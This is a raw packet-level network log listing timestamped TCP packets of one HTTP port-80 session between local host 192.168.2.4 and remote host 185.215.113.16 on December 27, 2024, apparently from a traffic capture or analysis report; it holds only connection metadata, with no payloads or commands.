Dec 27, 2024 09:00:19.238656998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.238667011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.238677979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.238691092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.238706112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.238744974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.238744974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.282691956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.393009901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.393384933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.393445969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.393450975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.393529892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.393620014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.394192934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.394256115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.394421101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.395039082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.395086050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.395445108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.395466089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.395632029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.396423101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.396493912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.396580935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.396730900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.397212982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.397336006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.398247957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.398260117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.398294926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.398981094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.399070978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.399197102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.399879932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.399981022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.400078058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.400808096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.400832891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.401617050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.401654005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.401711941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.401988983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.402523994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.402678013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.402717113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.403373957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.403495073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.403564930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.404269934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.404361963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.405124903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.405193090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.405297995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.405380011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.406219006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.406230927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.406335115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.406862020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.407006979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.407459974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.407797098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.407941103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.408004999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.408632040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.408777952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.409034014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.409518003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.409667969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.409713984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.410445929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.410506010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.410567045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.411360979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.411432028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.411581993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.412158012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.412276983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.413129091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.413213968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.413327932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.413619041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.413887978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.414027929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.414772034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.414845943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.414872885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.414928913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.415663004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.415766001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.415872097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.416536093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.416640997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.416819096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.417439938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.417526007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.417714119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.418302059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.418422937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.418493986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.419186115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.419305086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.419429064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.420046091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.420170069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.420243025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.420936108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.421062946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.421128035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.421822071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.421932936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.422697067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.422781944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.422832012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.422897100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.423595905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.423722982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.423800945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.424447060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.424551010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.424623966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.425319910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.425431967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.425504923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.426192045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.426316023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.426408052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.427094936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.427205086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.427340031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.427970886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.428072929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.428127050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.428831100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.428930044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.429044008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.429766893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.430008888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.430619001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.430685043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.430754900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.430809021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.431493998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.431612015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.431701899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.432332039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.432465076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.432943106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.433223009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.433353901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.433474064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.434129953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.434282064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.434325933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.435065031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.435082912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.435194969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.435872078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.435981989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.436167955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.436765909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.436853886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.436963081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.437647104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.437747002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.437818050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.438523054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.438597918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.439474106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.594434023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.594542027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.594686985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.594882965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.594985962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.595446110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.595763922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.595859051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.596625090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.596725941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.596888065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.596944094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.596975088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.597770929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.597883940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.597965956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.598637104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.598717928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.598764896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.599525928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.599709034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.599816084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.600400925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.600522995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.600529909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.601289034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.601381063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.601440907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.602152109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.602219105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.602255106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.603051901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.603174925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.603252888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.603943110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.604108095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.604187012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.604835033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.604913950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.604927063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.605667114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.605843067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.605930090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.606566906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.606626987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.606652021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.607419968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.607553959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.607625961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.608315945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.608390093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.608421087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.609188080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.609298944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.609391928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.610059977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.610121965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.610171080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.610956907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.611066103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.611144066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.611828089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.611934900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.612036943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.612709999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.612791061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.612812996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.613605976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.613692045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.613792896 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.614460945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.614567995 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.614577055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.615358114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.615437984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.615467072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.616240025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.616331100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.616388083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.617094994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.617178917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.617227077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.617984056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.618100882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.618159056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.618870020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.618973970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.618976116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.619720936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.619827986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.619904041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.620596886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.620683908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.620711088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.621490002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.621598005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.621718884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.622354984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.622468948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.622498035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.623251915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.623363018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.623487949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.624134064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.624238968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.624248981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.625009060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.625171900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.625242949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.625883102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.626025915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.626034021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.626768112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.626903057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.627023935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.627656937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.627757072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.627824068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.628536940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.628608942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.628635883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.629417896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.629509926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.629524946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.630285025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.630394936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.630460024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.631241083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.631287098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.631315947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.632045031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.632154942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.632256031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.632951975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.633014917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.633053064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.633816004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.633910894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.633970022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.634851933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.634922028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.634927034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.635581017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.635659933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.635719061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.636466980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.636542082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.636631012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.637331009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.637423992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.637485981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.638221025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.638290882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.638312101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.639085054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.639169931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.639256954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.639971972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.640036106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.640145063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.795700073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.795775890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.795927048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.796093941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.796180964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.796916962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.797009945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.797111988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.797175884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:19.797863007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:19.798165083 CET	80	49743	185.215.113.16	192.168.2.4
